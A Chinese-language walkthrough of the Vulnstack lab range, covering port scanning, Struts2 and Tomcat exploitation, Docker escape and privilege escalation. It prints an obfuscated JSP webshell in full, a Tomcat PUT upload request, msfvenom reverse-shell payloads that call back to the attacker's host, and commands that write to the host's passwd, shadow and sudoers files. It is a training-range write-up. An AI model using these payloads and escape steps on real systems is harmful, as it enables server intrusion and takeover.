一,下载环境与环境配置

靶机下载地址:http://vulnstack.qiyuanxuetang.net/vuln/

也可以用百度网盘下载链接:https://pan.baidu.com/s/1MQ_DArys9Bh-YNtTWwhXUQ?pwd=nmap
提取码:nmap

共有三台主机DC、WEB、WIN7

看一下红日靶场拓扑图

1
2
3
4
5
6
7

Web服务器账号密码:ubuntu ubuntu

Win7域成员:demo\douser Dotest123

DC:demo\administrator Test2008 开机强制修改密码为 adminQWE123!!.

1.2 环境配置

web网卡设置

win7网卡设置

DC网卡设置

攻击机kali的网卡和WEB主机的出网网卡一致为NAT模式

web主机

DC 主机

二,信息收集

用nmap扫一下web主机开放了那些端口以及端口的信息

1
利用 nmap -sV -sC -sS IP 这个命令可以显示端口的信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
──(root㉿kali)-[/home/kali/Desktop]
└─# nmap -sV -sC -sS 192.168.163.129
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-14 22:37 EST
Nmap scan report for 192.168.163.129
Host is up (0.000086s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 6d:1e:e7:55:ee:d7:2b:22:d7:6b:68:67:df:39:f5:7b (DSA)
| 2048 5e:ca:2c:70:8f:a2:0c:bf:10:d7:26:2b:15:5f:3f:58 (RSA)
| 256 de:b5:6a:a8:24:6a:13:45:cc:87:21:c3:c2:ee:b2:10 (ECDSA)
|_ 256 8e:02:ca:99:6e:c2:eb:8f:0c:5c:bb:c9:b2:f5:06:4d (ED25519)
2001/tcp open http Jetty 9.2.11.v20150529
|_http-server-header: Jetty(9.2.11.v20150529)
| http-cookie-flags:
| /:
| JSESSIONID:
|_ httponly flag not set
|_http-title: Struts2 Showcase - Fileupload sample
2002/tcp open http Apache Tomcat 8.5.19
|_http-title: Apache Tomcat/8.5.19
|_http-favicon: Apache Tomcat
2003/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: 192.168.163.129:2003 / mysql | phpMyAdmin 4.8.1
|_http-server-header: Apache/2.4.25 (Debian)
| http-robots.txt: 1 disallowed entry
|_/
MAC Address: 00:0C:29:A7:25:C1 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.54 seconds

web主机显示端口有22 ssh端口 可尝试爆破一下 ,2001端口是Struts2 Showcase - Fileupload sample,2002端口是Apache Tomcat 8.5.19,2003端口是phpMyAdmin 4.8.1

用浏览器打开

三,漏洞检测

java EE的struts2框架进行poc测试,验证是否存在struts2的历史漏洞Getshell

tomcat弱口令爆破上传war包、8.5.19版本任意文件上传Getshell

phpmyadmin看权限高低进行Getshell尝试,低权限选择最直接的V4.8.1漏洞文件包含会话Session文件,高权限可尝试写码、日志备份

3.1 Struts2漏洞测试

jsp蚁剑的木马 密码 cmd

1
<%  String Hj10U = request.getParameter("cmd");if (Hj10U != null) { class EVN03320 extends/*Z9g353WH9a*/ClassLoader { EVN03320(ClassLoader L7UzBL) { super(L7UzBL); } public Class Hj10U(byte[] b) { return super.defineClass(b, 0, b.length);}}int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98}; String ccstr = "";for (int i = 0; i < aa.length; i++) {aa[i] = aa[i] ^ 0x010; ccstr = ccstr + (char) aa[i];}Class Ab4i9 = Class.forName(ccstr);String k = new String(new byte[]{100,101,99,111,100,101,66,117,102,102,101,114});byte[] bytes = (byte[]) Ab4i9.getMethod(k, String.class).invoke(Ab4i9.newInstance(), Hj10U);Class aClass = new EVN03320(Thread.currentThread().getContextClassLoader()).Hj10U(bytes);Object o = aClass.newInstance();o.equals(pageContext);} else {response.sendError(404);} %>

3.2 tomcat

tomcat存在漏洞写入漏洞

1
2
3
4
5
6
7
8
9
10
11
PUT /shell.jsp/ HTTP/1.1
Host: ip端口
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=aywbqfazbzuc1wf2zcj5toeik; phpMyAdmin=1926f3b9353320c38d200d4c4e95491a; pma_lang=zh_CN; auto_saved_sql_sort=
Upgrade-Insecure-Requests: 1

<% String Hj10U = request.getParameter("cmd");if (Hj10U != null) { class EVN03320 extends/*Z9g353WH9a*/ClassLoader { EVN03320(ClassLoader L7UzBL) { super(L7UzBL); } public Class Hj10U(byte[] b) { return super.defineClass(b, 0, b.length);}}int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98}; String ccstr = "";for (int i = 0; i < aa.length; i++) {aa[i] = aa[i] ^ 0x010; ccstr = ccstr + (char) aa[i];}Class Ab4i9 = Class.forName(ccstr);String k = new String(new byte[]{100,101,99,111,100,101,66,117,102,102,101,114});byte[] bytes = (byte[]) Ab4i9.getMethod(k, String.class).invoke(Ab4i9.newInstance(), Hj10U);Class aClass = new EVN03320(Thread.currentThread().getContextClassLoader()).Hj10U(bytes);Object o = aClass.newInstance();o.equals(pageContext);} else {response.sendError(404);} %>

生成msf的jsp木马
1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.163.128 LPORT=4444 -f jsp > shell.jsp

然后将msf生成的jsp木马利用漏洞上传

访问上传的页面就可以运行msf生成的jsp木马,然后看一下kali里面的有没有收到会话

果然不出意料收到会话了,然后我们进行信息收集

输入getuid出现错误查了一下说是 输入命令要求加载“stdapi”扩展(运行load stdapi)然后按着他说的加载扩展

1
load stdapi

查看系统进程的cgroup信息 发现是docker环境

四,Docker逃逸

利用dirty cow来进行docker逃逸

这种利用方法利用成功的前提是,需要宿主机的内核有dirty cow漏洞。

git clone https://github.com/scumjr/dirtycow-vdso.git

cd dirtycow-vdso

make

在目标主机上无法进行make编译,我们在攻击机kali上编译之后通过kali临时搭建一个python网站

1
python -m http.server 7777

在目标主机上下载

wget http://192.168.163.128/0xdeadbeef

利用工具反弹shell到本地主机

chmod +x 0xdeadbeef

./0xdeadbeef ip:port #反弹shell到指定主机的指定端口

./0xdeadbeef 127.0.0.1 1234

在目标shell上wget远程下载make好的exp之后运行起来,却发现exploit failed攻击失败了,尝试了好几次,均为失败,遂放弃,剩下的就只有CVE-2019-5736配置不当导致逃逸特权模式逃逸,其中CVE-2021-5736需宿主机执行exec才能够触发逃逸,而配置不当中的docker remote api 端口2375是关闭状态,所以只剩下了利用特权模式逃逸。

利用特权模式进行逃逸

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

查看磁盘文件

1
fdisk -l

通过Struts2获得的shell 的磁盘文件为空 利用不了

看看tomcat的磁盘文件

创建一个文件夹,将宿主机根目录挂载至容器目录下

mkdir /out

mount /dev/sda1 /out

添加账号密码通过ssh进行登录

echo “qwe1:x:1006:1006:qwe1,,,:/home/qwe1:/bin/bash” >> test/etc/passwd

echo “qwe1:$1$xJbww$Yknw8dsfh25t02/g2fM9g/:18381:0:99999:7:::” >> test/etc/shadow

密码却一直显示错误 难搞

kali中生成公钥ssh-keygen -t rsa 生成之后python临时起个服务,docker机远程下载并且将其保存到挂载的目录中,然后使用公钥登录即可

docker逃逸成功但是是普通用户权限

五,提权

ubuntu是用命令行执行命令,在普通用户下的操作很受限,无法变成管理员权限,所以需要在一个文件/etc/sudoers处加入普通用户的放行语句,才可以让普通用户在ssh的情况下进行提权。

1
echo ‘ubuntu ALL=(ALL:ALL) ALL’ >> out/etc/sudoers
1
sudo su root

写入了密码是ubuntu

上传msf马,获得msf会话

生成msf木马

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.163.128 LPORT=4444 -f elf > shell.elf

利用python开启一个http服务

1
python -m http.server 7777 

不知道怎么回事 明明已经下载了 但还是没有生成msf会话

好家伙终于生成会话了 msf生成的cc3.elf木马需要有权限才能运行怪不得

六,内网信息收集

ifconfig 可以看到有两张网卡,eth0是web服务的网卡,eth1则应为内网网卡.

标记处为内网网卡

暂时先这些由于电脑配置的原因不能开太多的虚拟机横行有机会继续